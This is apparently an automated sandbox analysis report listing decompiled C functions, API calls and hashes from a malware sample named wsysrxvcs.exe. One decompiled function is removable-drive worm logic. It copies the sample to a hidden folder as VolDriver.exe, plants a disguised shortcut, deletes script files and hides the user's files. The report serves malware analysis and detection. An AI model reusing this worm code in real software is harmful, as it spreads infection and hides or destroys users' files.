                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: closesocketshutdown
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 572888783-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 15872efb09e118c99fcc3c3971833a02df5d138eadb769c00b3039a01d7d5e28
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: df11863cb7f0f6411b77c6b8dd653284fea54011e69c75d94cb4def7d01e6ae6
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 15872efb09e118c99fcc3c3971833a02df5d138eadb769c00b3039a01d7d5e28
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: ECC08C7510030CBBCB009FA0EC0DDC93B2CEB48240F008050FE098B240CAB2E8808B98
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409B70 Relevance: 2.5, APIs: 2, Instructions: 20COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 87%
                                                                                                                                                                                                                                                                                                                                                      			E00409B70(void* __ecx) {
				intOrPtr _v8;
				intOrPtr _t7;
				signed int _t8;

				_t9 = __ecx;
				_push(__ecx);
				_v8 = 0;
				EnterCriticalSection(0x4156ac);
				if( *0x4156e4 != 0) {
					_t7 =  *0x4156e4; // 0x200
					_t8 = E0040A7A0(_t9, _t7); // executed
					_v8 =  *((intOrPtr*)(0x4156e8 + _t8 * 4));
				}
				LeaveCriticalSection(0x4156ac);
				return _v8;
			}






                                                                                                                                                                                                                                                                                                                                                      0x00409b70
                                                                                                                                                                                                                                                                                                                                                      0x00409b73
                                                                                                                                                                                                                                                                                                                                                      0x00409b74
                                                                                                                                                                                                                                                                                                                                                      0x00409b80
                                                                                                                                                                                                                                                                                                                                                      0x00409b8d
                                                                                                                                                                                                                                                                                                                                                      0x00409b8f
                                                                                                                                                                                                                                                                                                                                                      0x00409b95
                                                                                                                                                                                                                                                                                                                                                      0x00409ba4
                                                                                                                                                                                                                                                                                                                                                      0x00409ba4
                                                                                                                                                                                                                                                                                                                                                      0x00409bac
                                                                                                                                                                                                                                                                                                                                                      0x00409bb8

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(004156AC), ref: 00409B80
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(004156AC), ref: 00409BAC
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeave
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3168844106-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 8b100456729e588611480b2896f0f26c587e4f390c5a584ac11025e468f480f6
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: b91f67cf8396715875ae9467634e22d7d9be6b3c06606848a32cf36e765123f4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8b100456729e588611480b2896f0f26c587e4f390c5a584ac11025e468f480f6
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 06E012B4A01608EBD704DF94ED09BDD7774E784315F608065F40853351D679AD50CA99
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00409640 Relevance: 2.5, APIs: 2, Instructions: 9COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00409640() {
				void* _t1;
				void* _t2;

				EnterCriticalSection(0x4156ac); // executed
				_t2 = E00409550(_t1); // executed
				LeaveCriticalSection(0x4156ac);
				return _t2;
			}





                                                                                                                                                                                                                                                                                                                                                      0x00409648
                                                                                                                                                                                                                                                                                                                                                      0x0040964e
                                                                                                                                                                                                                                                                                                                                                      0x00409658
                                                                                                                                                                                                                                                                                                                                                      0x0040965f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(004156AC,?,00409D67), ref: 00409648
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(004156AC,?,00409D67), ref: 00409658
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterLeave
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3168844106-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 3446c6bd65ee84d9d171c9af23ae713afdcf4ec476ac64f1efe23eb22eeff814
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 47095cad9093aebe700008f8eae69186ba421c075cefcc35bf403f841d62ddf5
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3446c6bd65ee84d9d171c9af23ae713afdcf4ec476ac64f1efe23eb22eeff814
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4BB09B7118060CF7D14037B6EC0B5CC376895447153704032F50D900979EFE54D049DD
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040B790 Relevance: 1.5, APIs: 1, Instructions: 25synchronizationCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E0040B790(void* __ecx) {
				LONG* _v8;
				LONG* _t4;
				signed char _t5;
				void* _t10;

				_t8 = __ecx;
				_push(__ecx); // executed
				while(1) {
					_t4 = E00409B70(_t8); // executed
					_v8 = _t4;
					if(_v8 != 0) {
						E0040B5F0(_v8, 0); // executed
						_t10 = _t10 + 8;
					}
					_t8 =  *0x4156c4; // 0x584
					_t5 = WaitForSingleObject(_t8, 0x1388);
					if(_t5 != 0x102) {
						break;
					}
					_t5 = E00409DA0();
					if((_t5 & 0x000000ff) == 0) {
						continue;
					}
					break;
				}
				return _t5;
			}







                                                                                                                                                                                                                                                                                                                                                      0x0040b790
                                                                                                                                                                                                                                                                                                                                                      0x0040b793
                                                                                                                                                                                                                                                                                                                                                      0x0040b794
                                                                                                                                                                                                                                                                                                                                                      0x0040b794
                                                                                                                                                                                                                                                                                                                                                      0x0040b799
                                                                                                                                                                                                                                                                                                                                                      0x0040b7a0
                                                                                                                                                                                                                                                                                                                                                      0x0040b7a8
                                                                                                                                                                                                                                                                                                                                                      0x0040b7ad
                                                                                                                                                                                                                                                                                                                                                      0x0040b7ad
                                                                                                                                                                                                                                                                                                                                                      0x0040b7b5
                                                                                                                                                                                                                                                                                                                                                      0x0040b7bc
                                                                                                                                                                                                                                                                                                                                                      0x0040b7c7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b7c9
                                                                                                                                                                                                                                                                                                                                                      0x0040b7d3
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040b7d3
                                                                                                                                                                                                                                                                                                                                                      0x0040b7d8

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409B70: EnterCriticalSection.KERNEL32(004156AC), ref: 00409B80
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00409B70: LeaveCriticalSection.KERNEL32(004156AC), ref: 00409BAC
                                                                                                                                                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000584,00001388), ref: 0040B7BC
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 0040B5F0: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040B5FC
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CriticalSection$EnterExchangeInterlockedLeaveObjectSingleWait
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3309573332-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e8ab2befbc48b52534d9bca4a86ac6f73a96a9eb8aee4546e24bfdd6078f5457
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: a371a3eba3672a1b33820cf7ef72623f29e1bda8adbc6ba304db845b900a89a4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e8ab2befbc48b52534d9bca4a86ac6f73a96a9eb8aee4546e24bfdd6078f5457
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B5E09270900308A7C714EBA1A806B9F7229DB90316F54447AF9007B2C2EA7E9E40D7DC
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00405830 Relevance: 1.5, APIs: 1, Instructions: 23comCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00405850
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: CreateInstance
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 542301482-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: da777ad2c589ccac1ecc52902b1ec079aa4940ecc1d89ce1cf552fd91b3e476d
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f616d4b88d62865cd1935f1b89934bfa1df8436fde2754d0f7f5a8b0b80b7a3b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: da777ad2c589ccac1ecc52902b1ec079aa4940ecc1d89ce1cf552fd91b3e476d
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A5E0ED7590020CFFDF00DF90C889BDEBBB8EB04715F10C1A9EA0467280D7B55A94CB95
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404BC0 Relevance: 1.3, APIs: 1, Instructions: 32stringCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404BC0(signed int _a4, signed int _a8, WCHAR* _a12) {
				intOrPtr _v8;
				short _v12;
				short _v14;
				short _v16;
				intOrPtr _t19;

				_v8 = 0;
				if((0x00000001 << _a8 & _a4) != 0) {
					_v16 = _a8 + 0x41;
					_v14 = 0x3a;
					_v12 = 0;
					_t19 = E00404B40( &_v16); // executed
					_v8 = _t19;
					if(_v8 != 0) {
						lstrcpyW(_a12,  &_v16);
					}
				}
				return _v8;
			}








                                                                                                                                                                                                                                                                                                                                                      0x00404bc6
                                                                                                                                                                                                                                                                                                                                                      0x00404bda
                                                                                                                                                                                                                                                                                                                                                      0x00404be3
                                                                                                                                                                                                                                                                                                                                                      0x00404bec
                                                                                                                                                                                                                                                                                                                                                      0x00404bf2
                                                                                                                                                                                                                                                                                                                                                      0x00404bfa
                                                                                                                                                                                                                                                                                                                                                      0x00404c02
                                                                                                                                                                                                                                                                                                                                                      0x00404c09
                                                                                                                                                                                                                                                                                                                                                      0x00404c13
                                                                                                                                                                                                                                                                                                                                                      0x00404c13
                                                                                                                                                                                                                                                                                                                                                      0x00404c09
                                                                                                                                                                                                                                                                                                                                                      0x00404c1f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 00404B40: GetDriveTypeW.KERNELBASE(00404BFF), ref: 00404B4D
                                                                                                                                                                                                                                                                                                                                                      • lstrcpyW.KERNEL32 ref: 00404C13
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000001.00000002.632840873.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632818531.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000001.00000002.632962013.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_1_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: DriveTypelstrcpy
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3664088370-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 78448c066715df410af2f986904072633d5e758296aa19b643d910fb78b649c2
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 3a7b50bfe29390773bf050ab0e6be7a430f3cc0a7ee3aa7925db54e30e18de05
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 78448c066715df410af2f986904072633d5e758296aa19b643d910fb78b649c2
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 76F090B5D00208FBDB00DFA4D4557DEB7B4EF84304F00C0A9E914AB350E239AB58CB49
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00404F30 Relevance: 75.5, APIs: 32, Strings: 11, Instructions: 293fileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00404F30(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16) {
				short _v524;
				short _v1044;
				short _v1564;
				short _v2084;
				intOrPtr _v2088;
				short _v2612;
				short _v3132;
				char _v3133;
				struct _WIN32_FIND_DATAW _v3732;
				short _v4252;
				void* _v4256;
				short _v4780;
				intOrPtr _v4784;
				WCHAR* _v4788;
				WCHAR* _v4792;
				WCHAR* _v4796;
				WCHAR* _v4800;
				WCHAR* _v4804;
				intOrPtr _v4808;
				WCHAR* _v4812;
				WCHAR* _v4816;
				WCHAR* _v4820;
				WCHAR* _v4824;
				WCHAR* _v4828;
				WCHAR* _v4832;
				WCHAR* _v4836;
				WCHAR* _v4840;
				WCHAR* _v4844;
				WCHAR* _v4848;
				WCHAR* _v4852;
				WCHAR* _v4856;
				WCHAR* _v4860;
				signed char _v4861;
				signed char _v4862;
				signed int _v4868;
				signed int _v4872;
				intOrPtr _t167;
				intOrPtr _t195;
				void* _t218;
				void* _t219;
				void* _t224;

				L0040ECFA();
				if((_a12 & 0x00080000) != 0) {
					return 0;
				}
				_v2088 = 0x41411c;
				_v3133 = 0;
				wsprintfW( &_v1564, L"%s.lnk", _a8);
				wsprintfW( &_v4252, L"%s\\%s", _a4, _v2088);
				wsprintfW( &_v4780, L"%s\\%s\\VolDriver.exe", _a4, _v2088);
				wsprintfW( &_v2612, L"%s\\%s", _a4,  &_v1564);
				wsprintfW( &_v1044, L"%s\\*", _a4);
				_t224 = _t219 + 0x48;
				if(PathFileExistsW( &_v4780) != 0) {
					_t167 = E0040D070( &_v4780);
					_t224 = _t224 + 4;
					_v4784 = _t167;
					_t195 =  *0x414c70; // 0x13400
					if(_t195 != _v4784) {
						SetFileAttributesW( &_v4780, 0x80);
						DeleteFileW( &_v4780);
					}
				}
				if(PathFileExistsW( &_v4780) == 0) {
					if(PathFileExistsW( &_v4252) == 0 && CreateDirectoryW( &_v4252, 0) != 0) {
						SetFileAttributesW( &_v4252, 2);
					}
					if(PathFileExistsW( &_v4252) != 0 && CopyFileW(L"C:\\Windows\\wsysrxvcs.exe",  &_v4780, 0) != 0) {
						SetFileAttributesW( &_v4780, 2);
					}
				}
				if(PathFileExistsW( &_v2612) == 0) {
					if((_a16 & 0x000000ff) == 0) {
						E00404CE0( &_v2612, L"shell32.dll", 8);
						_t224 = _t224 + 0xc;
					} else {
						E00404CE0( &_v2612, L"shell32.dll", 9);
						_t224 = _t224 + 0xc;
					}
					SetFileAttributesW( &_v2612, 1);
				}
				_v4256 = FindFirstFileW( &_v1044,  &_v3732);
				if(_v4256 == 0xffffffff) {
					L45:
					return _v3133;
				} else {
					_v4860 = L"*.lnk";
					_v4856 = L"*.vbs";
					_v4852 = L"*.js";
					_v4848 = L"*.scr";
					_v4844 = L"*.com";
					_v4840 = L"*.jse";
					_v4836 = L"*.cmd";
					_v4832 = L"*.pif";
					_v4828 = L"*.jar";
					_v4824 = L"*.dll";
					_v4820 = L"*.vbe";
					_v4816 = L"*.bat";
					_v4812 = L"*.inf";
					_v4808 = _v2088;
					_v4804 =  &_v1564;
					_v4800 = L"Thumbs.db";
					_v4796 = L"$RECYCLE.BIN";
					_v4792 = L"desktop.ini";
					_v4788 = L"System Volume Information";
					do {
						if(lstrcmpW( &(_v3732.cFileName), ".") != 0 && lstrcmpW( &(_v3732.cFileName), L"..") != 0) {
							_v4862 = 0;
							_v4868 = 0;
							while(_v4868 < 6) {
								if(lstrcmpiW( &(_v3732.cFileName),  *(_t218 + _v4868 * 4 - 0x12c4)) == 0) {
									_v4862 = 1;
									break;
								}
								_v4868 = _v4868 + 1;
							}
							if((_v4862 & 0x000000ff) == 0) {
								_v4861 = 0;
								_v4872 = 0;
								while(_v4872 < 0xd) {
									if(PathMatchSpecW( &(_v3732.cFileName),  *(_t218 + _v4872 * 4 - 0x12f8)) != 0) {
										wsprintfW( &_v2084, L"%s\\%s", _a4,  &(_v3732.cFileName));
										_t224 = _t224 + 0x10;
										SetFileAttributesW( &_v2084, 0x80);
										DeleteFileW( &_v2084);
										_v4861 = 1;
										break;
									}
									_v4872 = _v4872 + 1;
								}
								if((_v4861 & 0x000000ff) == 0) {
									if(PathFileExistsW( &_v4252) != 0) {
										wsprintfW( &_v3132, L"%s\\%s", _a4,  &(_v3732.cFileName));
										wsprintfW( &_v524, L"%s\\%s\\%s", _a4, _v2088,  &(_v3732.cFileName));
										_t224 = _t224 + 0x24;
										if((_v3732.dwFileAttributes & 0x00000010) == 0) {
											MoveFileExW( &_v3132,  &_v524, 9);
										} else {
											E00404DF0( &_v3132,  &_v524);
											_t224 = _t224 + 8;
										}
									}
								}
								goto L43;
							}
						}
						L43:
					} while (FindNextFileW(_v4256,  &_v3732) != 0);
					FindClose(_v4256);
					goto L45;
				}
			}












































                                                                                                                                                                                                                                                                                                                                                      0x00404f38
                                                                                                                                                                                                                                                                                                                                                      0x00404f45
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404f47
                                                                                                                                                                                                                                                                                                                                                      0x00404f4e
                                                                                                                                                                                                                                                                                                                                                      0x00404f58
                                                                                                                                                                                                                                                                                                                                                      0x00404f6f
                                                                                                                                                                                                                                                                                                                                                      0x00404f8f
                                                                                                                                                                                                                                                                                                                                                      0x00404faf
                                                                                                                                                                                                                                                                                                                                                      0x00404fcf
                                                                                                                                                                                                                                                                                                                                                      0x00404fe8
                                                                                                                                                                                                                                                                                                                                                      0x00404fee
                                                                                                                                                                                                                                                                                                                                                      0x00405000
                                                                                                                                                                                                                                                                                                                                                      0x00405009
                                                                                                                                                                                                                                                                                                                                                      0x0040500e
                                                                                                                                                                                                                                                                                                                                                      0x00405011
                                                                                                                                                                                                                                                                                                                                                      0x00405017
                                                                                                                                                                                                                                                                                                                                                      0x00405023
                                                                                                                                                                                                                                                                                                                                                      0x00405031
                                                                                                                                                                                                                                                                                                                                                      0x0040503e
                                                                                                                                                                                                                                                                                                                                                      0x0040503e
                                                                                                                                                                                                                                                                                                                                                      0x00405023
                                                                                                                                                                                                                                                                                                                                                      0x00405053
                                                                                                                                                                                                                                                                                                                                                      0x00405064
                                                                                                                                                                                                                                                                                                                                                      0x00405082
                                                                                                                                                                                                                                                                                                                                                      0x00405082
                                                                                                                                                                                                                                                                                                                                                      0x00405097
                                                                                                                                                                                                                                                                                                                                                      0x004050ba
                                                                                                                                                                                                                                                                                                                                                      0x004050ba
                                                                                                                                                                                                                                                                                                                                                      0x00405097
                                                                                                                                                                                                                                                                                                                                                      0x004050cf
                                                                                                                                                                                                                                                                                                                                                      0x004050d7
                                                                                                                                                                                                                                                                                                                                                      0x004050ff
                                                                                                                                                                                                                                                                                                                                                      0x00405104
                                                                                                                                                                                                                                                                                                                                                      0x004050d9
                                                                                                                                                                                                                                                                                                                                                      0x004050e7
                                                                                                                                                                                                                                                                                                                                                      0x004050ec
                                                                                                                                                                                                                                                                                                                                                      0x004050ec
                                                                                                                                                                                                                                                                                                                                                      0x00405110
                                                                                                                                                                                                                                                                                                                                                      0x00405110
                                                                                                                                                                                                                                                                                                                                                      0x0040512a
                                                                                                                                                                                                                                                                                                                                                      0x00405137
                                                                                                                                                                                                                                                                                                                                                      0x004053ff
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040513d
                                                                                                                                                                                                                                                                                                                                                      0x0040513d
                                                                                                                                                                                                                                                                                                                                                      0x00405147
                                                                                                                                                                                                                                                                                                                                                      0x00405151
                                                                                                                                                                                                                                                                                                                                                      0x0040515b
                                                                                                                                                                                                                                                                                                                                                      0x00405165
                                                                                                                                                                                                                                                                                                                                                      0x0040516f
                                                                                                                                                                                                                                                                                                                                                      0x00405179
                                                                                                                                                                                                                                                                                                                                                      0x00405183
                                                                                                                                                                                                                                                                                                                                                      0x0040518d
                                                                                                                                                                                                                                                                                                                                                      0x00405197
                                                                                                                                                                                                                                                                                                                                                      0x004051a1
                                                                                                                                                                                                                                                                                                                                                      0x004051ab
                                                                                                                                                                                                                                                                                                                                                      0x004051b5
                                                                                                                                                                                                                                                                                                                                                      0x004051c5
                                                                                                                                                                                                                                                                                                                                                      0x004051d1
                                                                                                                                                                                                                                                                                                                                                      0x004051d7
                                                                                                                                                                                                                                                                                                                                                      0x004051e1
                                                                                                                                                                                                                                                                                                                                                      0x004051eb
                                                                                                                                                                                                                                                                                                                                                      0x004051f5
                                                                                                                                                                                                                                                                                                                                                      0x004051ff
                                                                                                                                                                                                                                                                                                                                                      0x00405213
                                                                                                                                                                                                                                                                                                                                                      0x00405230
                                                                                                                                                                                                                                                                                                                                                      0x00405237
                                                                                                                                                                                                                                                                                                                                                      0x00405252
                                                                                                                                                                                                                                                                                                                                                      0x00405278
                                                                                                                                                                                                                                                                                                                                                      0x0040527c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040527c
                                                                                                                                                                                                                                                                                                                                                      0x0040524c
                                                                                                                                                                                                                                                                                                                                                      0x0040524c
                                                                                                                                                                                                                                                                                                                                                      0x00405290
                                                                                                                                                                                                                                                                                                                                                      0x00405297
                                                                                                                                                                                                                                                                                                                                                      0x0040529e
                                                                                                                                                                                                                                                                                                                                                      0x004052b9
                                                                                                                                                                                                                                                                                                                                                      0x004052df
                                                                                                                                                                                                                                                                                                                                                      0x004052fa
                                                                                                                                                                                                                                                                                                                                                      0x00405300
                                                                                                                                                                                                                                                                                                                                                      0x0040530f
                                                                                                                                                                                                                                                                                                                                                      0x0040531c
                                                                                                                                                                                                                                                                                                                                                      0x00405322
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405322
                                                                                                                                                                                                                                                                                                                                                      0x004052b3
                                                                                                                                                                                                                                                                                                                                                      0x004052b3
                                                                                                                                                                                                                                                                                                                                                      0x00405339
                                                                                                                                                                                                                                                                                                                                                      0x0040534f
                                                                                                                                                                                                                                                                                                                                                      0x0040536d
                                                                                                                                                                                                                                                                                                                                                      0x00405394
                                                                                                                                                                                                                                                                                                                                                      0x0040539a
                                                                                                                                                                                                                                                                                                                                                      0x004053a6
                                                                                                                                                                                                                                                                                                                                                      0x004053d0
                                                                                                                                                                                                                                                                                                                                                      0x004053a8
                                                                                                                                                                                                                                                                                                                                                      0x004053b6
                                                                                                                                                                                                                                                                                                                                                      0x004053bb
                                                                                                                                                                                                                                                                                                                                                      0x004053bb
                                                                                                                                                                                                                                                                                                                                                      0x004053a6
                                                                                                                                                                                                                                                                                                                                                      0x0040534f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00405339
                                                                                                                                                                                                                                                                                                                                                      0x00405292
                                                                                                                                                                                                                                                                                                                                                      0x004053d6
                                                                                                                                                                                                                                                                                                                                                      0x004053ea
                                                                                                                                                                                                                                                                                                                                                      0x004053f9
